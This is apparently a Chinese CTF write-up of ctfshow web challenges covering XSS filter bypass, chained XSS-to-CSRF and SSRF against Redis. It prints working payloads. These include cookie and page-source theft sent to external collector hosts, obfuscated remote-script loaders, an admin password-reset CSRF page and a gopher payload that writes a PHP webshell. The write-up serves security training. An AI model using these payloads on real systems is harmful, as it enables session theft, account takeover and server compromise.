渗透基础知识ctfshow——Web应用安全与防护(第六 七章)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


混合型XSS

打开网页,可以看到如下页面:

话不多说,开启我们的闯关:

XSS 练习(反射型)

我们可以看到很普通的登录框,输入参数抓包分析一下:

输入账号密码后,提示"账号或密码错误"

然后就尝试注册了一个用户,再尝试进行登陆:

随后进入到一个新页面:


管理员审核后:

抓包分析,发现我们刚刚输入的签名"123",成功显示在了页面上:

绕过方法

我们可以得到以下三个关键信息:

  • 输入即输出(未过滤) :在请求的 URL 参数中输入了 sig=123(左侧 Request 区域),服务器端接收后,没有做任何安全过滤或转义,直接把这原封不动地"反射"到了页面的 HTML 代码中(右侧 Response 区域的 <p>...: 123</p>)。
  • 漏洞成因 :因为服务器"盲目信任"了输入,这就意味着,如果你输入的不是普通的数字 123,而是一段恶意的 JavaScript 代码(例如 <script>alert('XSS')</script>),服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时,就会当做正常代码执行。
  • 题目信息暗示 :注意看图里那句 "管理员会在1分钟内审核" 意味着后台有一个模拟的"管理员机器人"会去访问你提交的链接。

所以这里我们尝试构造一下payload:

bash 复制代码
<script>alert('XSS')</script>

成功反弹:

这里尝试用XSS平台获取管理员的Cookie

bash 复制代码
<script>window.location.href='https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookie='+document.cookie</script>

# POST型外带
<script>
fetch('https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/', {
    method: 'POST',
    body: document.documentElement.outerHTML
});
</script>

POST型:

可以看到都失败了;那就换个平台:

随便选择一个payload,输入到签名框里等待:

即可反弹;

随后查看内容:

bash 复制代码
 这里我翻看源码,并没有找到flag,只能去网上找WP;
 - 原来是还少了一步;

新增知识:平台外带xss

为什么需要换平台外带?

  • 之前使用的 xss 平台虽然能通过 <script src> 上线,但它可能仅支持预定义的数据收集方式(比如自动截图、获取 Cookie 等);
    • 而无法让你自定义发送任意数据(如页面源码)
  • 因此,你需要一个完全可控的外部平台,例如 https://pipedream.com,它允许你
    • 创建一个专属的 HTTP 接收端点(Endpoint),可以查看所有传入的请求详情(包括 Headers、Body、参数)。
  • 不受数据格式限制,你可以自由地将页面源码作为 GET 参数或 POST 数据发送。
  • 实时查看日志,便于调试和提取密码。

步骤如下:

(1)在 Pipedream 上创建一个 HTTP 触发器(HTTP Endpoint),获得一个专属 URL(例如 https://eoxxxxxx.m.pipedream.net)。然后编写如下 Payload,将页面源码发送到这个 URL:

  • 需要进行登陆,并且创建+new workflow即可

(2)在弹出的选择框中,需要找到并点击 "HTTP / Webhook"。这就是你要找的"HTTP Endpoint"。


(3)随后输入一段异步 XSS 脚本(Async XSS),用于在浏览器中执行以下操作:

  • 注意在代码中,替换成自己的url
javascript 复制代码
(async () => {
  try {
    const res = await fetch('/profile', { credentials: 'include', method: 'GET' });
    const txt = await res.text();
    const secret = txt.split('id="upass"')[1].substr(48,45);
    const headers = new Headers()
    headers.append("Content-Type", "application/json")
    const body = {
       "test": secret
    }
     const options = {
          method: "POST",
          headers,
          mode: "cors",
          body: JSON.stringify(body),
      }
      fetch("https://eoiq59v45jb1lvw.m.pipedream.net", options)
      } catch (e) {
          console.error(e);
      }            
})();

作用如下:

  1. 向 /profile 发起请求(携带 Cookie)
  2. 获取页面 HTML 源码
  3. 提取其中的密码字段(id="upass")
  4. 将密码通过 POST 请求发送到你的 Pipedream Webhook
  5. 成功后,你在 Pipedream 中就能看到 flag

(4)将这段代码添加进自定义模块。

(5)再次发送XSS语句,即可得到结果:

bash 复制代码
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//ujs.cx/YmU';>

随后点击按钮:


编码绕过XSS过滤

还是老样子,打开网页:

还是先注册账号,然后尝试登陆:

绕过方法

此题只过滤了script 和 \,用下面命令进行绕过,其余和上一题一样

详细步骤同上:

记得改成自己的配置代码://ujs.cx/EZW

(1)将payload进行base64编码:

bash 复制代码
# 原始payload
var s = document.createElement('script');
s.src = '//ujs.cx/EZW';
document.body.appendChild(s);

# base64编码后
cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc=

# 大概形式如下
<svg onload="eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc='))">

成功返回flag:

请求伪造漏洞_CSRF

同理:

正常注册用户 123/123 然后进行登陆:

增加了很多功能,可以修改密码,获取flag则需要管理员的账号密码

绕过方法

分析修改密码路由 /modify

html 复制代码
<form method="post" class="mt-3">

    <div class="mb-3">
        <label class="form-label">用户名</label>
        <input class="form-control form-control-lg bg-transparent text-light" name="username" disabled value="test">
    </div>
    <div class="mb-3">
        <label class="form-label">新密码</label>
        <input type="password" class="form-control form-control-lg bg-transparent text-light" name="password" required>
        <input type="hidden" name="csrf_token" value="3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4">
    </div>
    <div class="d-flex justify-content-between align-items-center">
        <button class="btn btn-neon btn-lg">修改</button>
        <a class="text-decoration-none text-info" href="/login">已有账号?登录</a>
    </div>
</form>

虽然不验证旧密码,但是新增了csrf_token验证;

XSS的利用点还在,我们首先打入xss 看下管理员访问的同源地址,否则无法进行CSRF利用(无法携带cookie)

成功拿到管理员的同源地址 端口是4476端口,也就是后续 修改密码的提交地址,应该是本地的4476端口:

尝试使用XSS来修改管理员的密码,无csrf_token,检查后端是否对token进行了验证:

bash 复制代码
// 构造表单数据
                    const formData = new URLSearchParams();
                    formData.append('password', '123456');
                    fetch('http://127.0.0.1:4476/modify', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded',
                        },
                        body: formData,
                        credentials: 'include'  // 重要:自动携带Cookie
                     }).then(response => {
                     
                     }).catch(error => {
                        });

进行二次XSS,获取csrf_token,并发给攻击网址:

bash 复制代码
fetch('http://127.0.0.1:4476/modify', {
    credentials: 'include'  // 携带Cookie
})
.then(r => r.text())
.then(html => {
    // 提取Token
    const tokenMatch = html.match(/name="csrf_token" value="([^"]*)"/);
    if (tokenMatch && tokenMatch[1]) {
        const token = tokenMatch[1];
        const leakUrl = `http://ctf.show.ctfer.com/?token=${token}&target=http://127.0.0.1:4476/modify`;
        window.location.href = leakUrl;  
    }
});

攻击网址的主要代码如下:

bash 复制代码
   <form id="csrfForm" action="{{ target }}" method="POST">
            <input type="hidden" name="password" value="123456">
            <input type="hidden" name="csrf_token" value="{{ token }}">
   </form>


    <script>
        setTimeout(() => {
            document.getElementById('csrfForm').submit();
        }, 1000);
    </script>

调用的时候,通过GET传参后,初始化到html表单中,这样就可以在管理员无感情况下,修改管理员密码,进行二次XSS注入:

成功登陆管理员账号,使用 admin / 123456来验证账号获取flag:

最简单的SSRF

直接保留地址绕过即可:

源代码如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

根据代码,直接得到flag:

SSRF打Redis

页面源代码如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

以下引用自 Y0uhe师傅

直接使用工具生成payload:

bash 复制代码
python gopherus.py --exploit redis

上述字符解码后的语句为:

bash 复制代码
*1
$8
flushall
*3
$3
set
$1
1
$34

<?php system($_GET['cmd']); ?>

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

生成字符的作用:是Redis未授权访问写入PHP一句话木马的攻击指令,用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。


将生成的字符_后面的再进行一次编码:

POST传入

bash 复制代码
url=gopher://127.0.0.1:6379
/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

shell写入的地址默认 url/shell.php

成功连接并执行命令:

连接蚁剑:

成功根目录下找到flag:cat /flaaag

总结

本文围绕Web安全漏洞展开,重点分析了XSS漏洞的绕过策略与平台外带技巧,详细解析了CSRF请求伪造的防范与规避,并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞,文章特别演示了如何利用该漏洞攻击Redis等内部组件,展示了从基础漏洞到横向移动的实战链路。

相关推荐
Sun子矜2 小时前
Web项目18+项目21
前端
一只鼠标猴2 小时前
甲方安全运营:漏洞整改推动实操指南
运维·安全·网络安全·安全架构·安全运营·漏洞整改
DianSan_ERP2 小时前
淘宝订单接口集成中如何正确处理消费者敏感信息的安全与合规问题?
大数据·运维·网络·人工智能·安全·servlet
踩着两条虫2 小时前
VTJ:项目模型架构
前端·低代码·ai编程
IMPYLH2 小时前
Linux 的 sha256sum 命令
linux·运维·服务器·网络·bash·哈希算法
星幻元宇VR2 小时前
VR科普赛车|沉浸式学习交通安全知识
科技·学习·安全·生活·vr
踩着两条虫2 小时前
VTJ:DSL语言规范
前端·低代码·ai编程
广州华水科技2 小时前
单北斗GNSS在水库形变监测中的应用与优势分析
前端
KKKlucifer2 小时前
安全智能体:数据安全运营自动化与自主决策的技术突破
运维·安全·自动化